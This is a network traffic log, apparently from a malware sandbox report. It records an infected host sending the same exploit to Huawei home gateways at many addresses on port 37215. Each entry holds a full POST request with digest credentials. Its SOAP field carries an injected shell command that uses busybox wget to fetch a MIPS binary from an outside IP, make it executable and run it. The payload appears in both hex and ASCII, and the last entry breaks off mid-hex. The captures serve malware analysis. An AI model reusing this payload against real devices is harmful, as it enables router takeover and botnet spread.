Sep 25, 2024 14:14:10.212333918 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.14	54560	41.146.247.208	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.213954926 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.14	33820	156.47.26.203	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.215745926 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.14	38374	41.111.186.112	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.217571974 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.14	39448	41.164.250.178	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.218836069 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.14	36318	197.125.193.227	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.219424963 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.14	46334	41.21.108.191	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.220047951 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.14	56224	156.131.165.57	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.220679998 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.14	57530	41.23.9.240	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.221355915 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.14	48914	156.115.211.80	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.222002983 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.14	50806	156.187.174.94	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.222641945 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 